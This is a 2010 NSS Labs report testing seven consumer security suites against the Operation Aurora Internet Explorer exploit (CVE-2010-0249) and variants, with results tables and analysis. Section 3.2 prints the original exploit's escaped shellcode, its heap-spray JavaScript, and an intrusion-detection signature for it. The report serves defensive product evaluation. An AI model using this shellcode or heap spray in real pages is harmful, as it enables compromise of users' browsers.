



Independent Product Analysis

VULNERABILITY-BASED PROTECTION AND THE GOOGLE "OPERATION AURORA" ATTACK

CONSUMER ENDPOINT PROTECTION PRODUCTS

AVG Internet Security 9

ESET Smart Security 4

Kaspersky Internet Security 2010

McAfee Internet Security 2010

Norton Internet Security 2010 (Symantec)

Sophos Endpoint Protection for Enterprise-Anti-Virus

Trend Micro Internet Security 2010



MARCH 8, 2010

© 2010 NSS Labs, Inc. All rights reserved. No part of this publication may be reproduced, photocopied, stored on a retrieval system, or transmitted without the express written consent of the authors.

Please note that access to or use of this report is conditioned on the following:

1. The information in this report is subject to change by NSS Labs without notice.
2. The information in this report is believed by NSS Labs to be accurate and reliable at the time of publication, but is not guaranteed. All use of and reliance on this report are at the reader's sole risk. NSS Labs is not liable or responsible for any damages, losses, or expenses arising from any error or omission in this report.
3. NO WARRANTIES, EXPRESS OR IMPLIED ARE GIVEN BY THE NSS LABS. ALL IMPLIED WARRANTIES, INCLUDING IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE DISCLAIMED AND EXCLUDED BY NSS LABS. IN NO EVENT SHALL NSS LABS BE LIABLE FOR ANY CONSEQUENTIAL, INCIDENTAL OR INDIRECT DAMAGES, OR FOR ANY LOSS OF PROFIT, REVENUE, DATA, COMPUTER PROGRAMS, OR OTHER ASSETS, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
4. This report does not constitute an endorsement, recommendation, or guarantee of any of the products (hardware or software) tested or the hardware and software used in testing the products. The testing does not guarantee that there are no errors or defects in the products or that the products will meet the reader's expectations, requirements, needs, or specifications, or that they will operate without interruption.
5. This report does not imply any endorsement, sponsorship, affiliation, or verification by or with any organizations mentioned in this report.
6. All trademarks, service marks, and trade names used in this report are the trademarks, service marks, and trade names of their respective owners.

CONTACT INFORMATION

NSS Labs, Inc.

P.O. Box 130573

Carlsbad, CA 92013 USA

+1 (512) 961-5300

info@nsslabs.com

www.nsslabs.com

EXECUTIVE SUMMARY

Today's threat landscape can be divided into attacks against *users* and those against *software*. Of the attacks against software, exploits of web browsers are especially disturbing since they often occur silently, without user awareness. The January 2010 "Operation Aurora" attack on Google is a prime example of the successful exploitation of a browser vulnerability.

Disclosure of Operation Aurora attack elevated the public's awareness of cyber-warfare to an unprecedented level. Although heralded as an "ultra-sophisticated" and "unprecedented" attack, the methods used in Operation Aurora were neither unknown to the information security community, nor were they new. Operation Aurora leveraged a Windows Internet Explorer browser vulnerability. Since the case of Operation Aurora is not unique—thousands of new vulnerabilities are discovered and exploited each day—it should serve as a wake-up call to the information security community to find new ways of protection.

In February 2010, NSS Labs conducted a test of seven consumer endpoint protection products, assessing their respective protection capabilities using the Operation Aurora attack. This test—the first of its kind in the industry—was designed to identify at which stage the product stopped the attack, and identify whether the product used vulnerability-based protection, exploit-based protection, or malware-based protection.

Key Findings:

- Endpoint security products need to focus more on vulnerability protection. Rather than reactively blocking individual attacks, security product vendors should minimize their customers' risk of exposure by insulating them from the vulnerability.
- An approach based upon preventing specific exploits or malware is less desirable due to the reactive nature of identifying exploits and malicious payloads, as well as the nearly infinite methods to evade detection. Only one of the seven endpoint security products tested demonstrated a focus on the vulnerability and blocked more than one exploit variant.

TABLE OF CONTENTS

1	<i>Vulnerability-Based Protection</i>	5
1.1	Definitions	5
1.2	Measuring Protection Stages	6
2	<i>A Case Study: Operation Aurora/Google Attack</i>	8
2.1	The Attack.....	8
2.2	The Vulnerability	8
2.3	Deconstructing the Attack.....	8
3	<i>Testing Operation Aurora and Variants</i>	9
3.1	Possible Attack Combinations	9
3.2	Code and Signature Examples	9
3.3	Protection Matrix Test Data	11
3.4	Analysis and Interpretation	12
4	<i>Test Environment</i>	13
4.1	The Tested Products	13
4.2	Client Host Description	13

1 VULNERABILITY-BASED PROTECTION

NSS Labs test reports provide IT professionals with empirically validated data and analysis of information security products. Our analysis and testing strives to help security executives and practitioners make decisions about how to best defend against current and future threats. To do so, one must understand how products work against threat combinations and variants.

The following definitions and analogies are provided in an effort to bridge an ongoing communication gap between security vendors and their customers. They shall serve as the basis for outlining the benefits of vulnerability-based protection using Operation Aurora as a case study.

1.1 DEFINITIONS

1.1.1 VULNERABILITY

Like a locked door that can be opened with the right key or combination, a vulnerability is a bug in software code that allows a product to be exploited. An example of a software vulnerability is improperly-defined memory usage within a function that enables content sent to a specific memory location to be run with privileged rights.

1.1.2 EXPLOIT

An exploit is a specially crafted code sequence which can “trigger” or “unlock” a vulnerability within an application, such as a heap spray, buffer overflow attack, etc. An exploit can be hiding in an infected website (client-side attack) where it ambushes visiting computers or be launched from an another computer (remote attack).

1.1.3 PAYLOAD

The payload is the content that gets delivered once the vulnerable application has been exploited. Payloads are the actions that are performed on the compromised target computer, such as command execution, writing a file to disk, returning a reverse shell, etc.



1.1.4 MALICIOUS PAYLOAD/WEAPONIZED PAYLOAD

Malicious payloads contain actions that utilize the resources of the remote (compromised) host. This MAY be malware, but does not have to be. For example, command execution of a service is a “malicious payload.”

1.1.5 EMPTY PAYLOAD/BLANK PAYLOAD

An exploit that has null characters in the payload and does not perform any action contains an empty payload. In this case, the exploit was successful and the attacker has control of the remote host. However, the attacker decides not to do anything. Think of this as a “catch and release” method: the fish is caught, but is returned to the water unharmed.

1.1.6 VULNERABILITY-BASED PROTECTION

Security products can provide vulnerability-based protection by shielding access to exposed portions of the affected software. It is equivalent to applying glue in the keyhole of the door lock so that no keys can be inserted.

1.1.7 PATCHING

When a vendor supplies a patch, it fixes the underlying vulnerabilities by rewriting affected portions of the code. A patch is equivalent to removing the door altogether, thereby eliminating the known vulnerable attack surface from the enemy.

1.2 MEASURING PROTECTION STAGES

Although “proactive protection” is a common buzzword, it is a fallacy in a world where threats cannot be known exhaustively. There will always be something unaccounted for, as evidenced by the steady progression of software vulnerabilities discovered every day. A valuable measure of effectiveness of a product can be the stage at which it detects and stops an attack. Catching a threat at the vulnerability level will neuter a larger portion of the threat space. The following table outlines pros and cons of stopping the threat at the various stages.

Stage of Attack	Pros	Cons
<p>Vulnerability</p> <p>Stage 0</p>	<p>Provides the best protection—prevents the vulnerability from triggering</p> <ul style="list-style-type: none"> • 90% proactive: Can develop protection before exploits based upon the vulnerability are released • ALL exploit variants of the vulnerability are blocked • Nearly impossible to evade • Very accurate • Generates the least false positives 	<p>Requires a lot of work and is hard to do</p> <ul style="list-style-type: none"> • 10% reactive: Must know vulnerability • Requires complex protocol decoding • Must understand the vulnerability • Most processor-intensive
<p>Exploit</p> <p>Stage 1</p>	<p>Offers targeted protection—prevents the (known) exploit</p> <ul style="list-style-type: none"> • No need to understand the vulnerability or the protocol beyond a cursory level • Can be done easily through regular expression matching • Fast • Generates few false positives 	<p>Provides limited targeted protection</p> <ul style="list-style-type: none"> • 50% reactive: Must see the exploit first • Only prevents the specific (known) exploit • Easy for attackers to find alternatives to bypass • Maximum coverage = many signatures • Requires tuning to prevent false positives
<p>Payload</p> <p>Stage 2</p>	<p>Focuses on the malicious payload (malware)</p> <ul style="list-style-type: none"> • Detects malware that is delivered in other manners (i.e. USB) • Simple pattern matching • Fast • Based on mature technology 	<p>Detection occurs <u>after</u> a successful attack has put malicious code on an endpoint</p> <ul style="list-style-type: none"> • 100% reactive: Must see the payload first • Does not detect “non-standard” attacks • Easy for attackers to obfuscate attacks and bypass • Requires the most signatures + constant updates to be effective • Only provides limited protection

2 A CASE STUDY: OPERATION AURORA/GOOGLE ATTACK

2.1 THE ATTACK

Dubbed “Operation Aurora” based on a filename in the malicious payload traced to one of the hackers, the attack targeted the Google Gmail e-mail accounts of Chinese human rights activists and at least three dozen large organizations. The attackers took advantage of what was thought to be a then-unknown, zero-day, vulnerability (CVE-2010-0249) in multiple versions of Internet Explorer.

2.2 THE VULNERABILITY

Internet Explorer had a software vulnerability which permitted arbitrary code execution via six entry points in memory. Labeled as CVE-2010-0249, Mitre Corporation describes it as follows:

“Use-after-free vulnerability in Microsoft Internet Explorer 6, 6 SP1, 7, and 8 on Windows 2000 SP4; Windows XP SP2 and SP3; Windows Server 2003 SP2; Windows Vista Gold, SP1, and SP2; Windows Server 2008 Gold, SP2, and R2; and Windows 7 allows remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object, related to incorrectly initialized memory and improper handling of objects in memory, as exploited in the wild in December 2009 and January 2010 during Operation Aurora, aka “HTML Object Memory Corruption Vulnerability.”¹

Microsoft has since addressed the issue by patching Internet Explorer through a software update to all versions potentially at risk.² The patch is described in Microsoft Security Bulletin MS10-002 – Critical.³

2.3 DECONSTRUCTING THE ATTACK

The CVE-2010-0249 vulnerability in Internet Explorer was exploited when a user visited an infected web page hosting the attack code. The downloaded code implemented a heap spray technique and then secretly installed malicious code (Operation Aurora) on remote computers. The code enabled the perpetrators to monitor activity on those computers and collect sensitive data without the user’s knowledge. The attack occurred in two stages:

1. The attacker caused a specially-crafted stream of data and code to be delivered to a precise location. This exploited the victim’s computer, gaining the attacker the ability to perform arbitrary code execution.
2. Malicious code was silently installed and executed on the victim’s computer.

If the attack can be thwarted in stage one (successful exploit) then it cannot progress to stage two. As long as the exploit is not defeated, then installing malware is just one of many possible actions the attacker can take. And the choice of malicious code is nearly infinite. Since there are far fewer exploits, it is imperative that attacks be defeated in the earliest possible stage.

¹ Common Vulnerabilities and Exposures, <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249>

² Microsoft Security Advisory (979352), <http://www.microsoft.com/technet/security/advisory/979352.mspx>

³ Microsoft Security Bulletin MS10-002 – Critical, <http://www.microsoft.com/technet/security/bulletin/ms10-002.mspx>

3 TESTING OPERATION AURORA AND VARIANTS

In February 2010, NSS Labs conducted a test of seven endpoint protection products, assessing their respective protection capabilities using the Operation Aurora attack. This test—the first of its kind in the industry—was designed to identify at which stage the product stopped the attack, and identify whether the product used vulnerability-based protection, exploit-based protection, or malware-based protection.

3.1 POSSIBLE ATTACK COMBINATIONS

There are other possible attack combinations which use the same exploit and a different payload or alternate exploit variants of the same vulnerability. The chart below illustrates just some of the possible combinations of payloads using the six different entry points.



CVE-2010-0249	Exploit 1	Exploit 2	Exploit 3	Exploit 4	Exploit 5	Exploit 6
Payload A	Operation Aurora	AC	AC	AC	AC	AC
Payload B	AC	AC	AC	AC	AC	AC
Payload C	AC	AC	AC	AC	AC	AC
Payload D	AC	AC	AC	AC	AC	AC
Payload E	AC	AC	AC	AC	AC	AC
Payload ...	AC	AC	AC	AC	AC	AC

Legend: AC = Arbitrary Code

Although only a handful of payloads are suggested in this matrix, a virtually unlimited combination of exploits and payloads is possible.

3.2 CODE AND SIGNATURE EXAMPLES

3.2.1 EXPLOIT CODE FROM OPERATION AURORA

```
<html><script>var sc = unescape("%u0909%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%ueb8d%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8%uae27")
```


...Which translates into a heap spray:

```
var n=unescape("%u0c0d%u0c0d"); while(n.length<=524288) n+=n; n=n.substring(0,524269-sc.length);var x=new Array(); for(var i=0;i<200;i++) {x[i]=n+sc;}
```

...Which then overwrites and executes the malicious payload in the memory space originally allocated to the image "aaa.gif".

3.2.2 SAMPLE EXPLOIT SIGNATURE

```
drop tcp $EXTERNAL_NET 80-> $HOME_NET any (msg:"Example Aurora Exploit Signature"; flow:to_client,established; content:"COMMENT"; content:"%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175"; content:"0c0d"; content:"ev2"; classtype:IE exploit; sid:2010-0249-0001;)
```

This signature says if you see all of the defined bad "content" in a traffic heading to a client, then drop.

3.2.3 SAMPLE VULNERABILITY-BASED SIGNATURES

Implementations will depend on the particular engine being used, and this is an area of useful discussion within the security community. One potential approach for a vulnerability-based signature (host intrusion prevention system) could read something like this:

Within an HTML page, if <HTML OBJECT> content is being written to one of six vulnerable memory locations and subsequently deallocated, then deny.

3.3 PROTECTION MATRIX TEST DATA

NSS Labs tested seven popular consumer endpoint protection products using CVE-2010-0249 in its Austin, Texas lab. The original Operation Aurora exploit and payload as well as exploit variants and alternate payloads were used to determine the effectiveness of products.

The table and following chart summarizes results from our testing of seven endpoint protection products. We tested the original exploit (1) and multiple exploit variants (2) against CVE-2010-0249 and multiple payload variants (1.1–1.5 and 2.1–2.6).

Test	CVE-2010-0249	AVG	ESET	Kaspersky	McAfee	Norton	Sophos	Trend Micro
1	Original Exploit	✗	✓	✓	✓	✓	✓	✓
1.1	Original Aurora Payload	✓	✓	✓	✓	✓	✓	✓
1.2	VNC	✓	✓	✓	✓	✓	✓	✓
1.3	Meterpreter	✓	✓	✓	✓	✓	✓	✓
1.4	URL Download Execute	✓	✓	✓	✓	✓	✓	✓
1.5	Reverse Bindshell	✓	✓	✓	✓	✓	✓	✓
1.6	binary/write create file	✗	✓	✓	✓	✓	✓	✓
2	Exploit Variant	✗	✗	✗	✓	✗	✗	✗
2.1	Original Payload	✓	✓	✓	✓	✓	✓	✓
2.2	VNC	✗	✓	✓	✓	✗	✗	✗
2.3	Meterpreter	✗	✓	✓	✓	✗	✗	✗
2.4	URL Download Execute	✗	✓	✓	✓	✗	✗	✗
2.5	Reverse Bindshell	✗	✓	✓	✓	✗	✗	✗
2.6	binary/write create file	✗	✗	✗	✓	✗	✗	✗

Legend: ✓ = stopped ✗ = missed

3.4 ANALYSIS AND INTERPRETATION

If a product is blocking the exploit, all payloads that lead to arbitrary code execution should also be blocked. Every product except AVG Internet Security detected and stopped the original exploit (1). All seven endpoint security products stopped the original Operation Aurora payload (Hydra variant). All the tested products also detected various malicious payloads delivered via the original exploit, except for AVG Internet Security, which failed to prevent writing to a file. At this stage, AVG Internet Security was the only product that did not contain signatures for the original exploit.

In Section 2, we tested a variant that we created to exploit one of the six vulnerable memory locations. All of the tested products stopped the original payload (2.1) when delivered by this new variant. However, when we varied the malicious payload (2.2–2.6), all but one product (McAfee) had difficulties stopping the exploit. By stopping these malicious payloads, McAfee demonstrated a broader protection of the vulnerability.

The bottom line is that if an endpoint protection product prevents the vulnerability from being exploited, then the malware payload is not delivered. Therefore, the malware payload is irrelevant if the vulnerability cannot be exploited.

Even two weeks after the attack was made public, one product still did not stop the original exploit, and all but one (85%) failed to stop additional variants. Few cyber-security attacks were better publicized than this one. So it is somewhat concerning that such shallow coverage was delivered. IT professionals often rely on endpoint security products to provide a virtual shield for these vulnerabilities, in lieu of applying patches to thousands of machines. When faced with these test results, organizations would be advised to install the Microsoft patch as soon as possible.

4 TEST ENVIRONMENT

4.1 THE TESTED PRODUCTS

The following is a current list of the consumer products that were tested, sorted alphabetically:

- AVG Internet Security, version 9.0.733
- ESET Smart Security 4, version 4.0.474.0
- Kaspersky Internet Security 2010, version 9.0.0.736
- McAfee Internet Security 2010 with SecurityCenter version 9.15.160
- Norton Internet Security 2010, version 17.0.0.136 (Symantec)
- Sophos Endpoint Protection for Enterprise - Anti-Virus version 9.0.0
- Trend Micro Internet Security 2010, version 17.50.1366.0000

Default settings were used in all cases, as is typical in consumer product implementations.

4.2 CLIENT HOST DESCRIPTION

All tested browser software was installed on identical virtual machines, with the following specifications:

- Microsoft Windows XP SP3
- 1GB RAM
- 15GB HD

Test machines were verified prior to and during the experiment to ensure proper functioning. Browsers were given full access to the Internet so they could visit the actual live sites. Internet Explorer 7 was utilized so that no other reputation services in the browser would interfere with the malware blocking of the product under test.

The host system has one network interface card (NIC) and is connected to the network via a 1Gbps switch port. The NSS Labs test network is a multi-gigabit infrastructure based around Cisco Catalyst® 6500-Series switches (with both fiber and copper gigabit interfaces).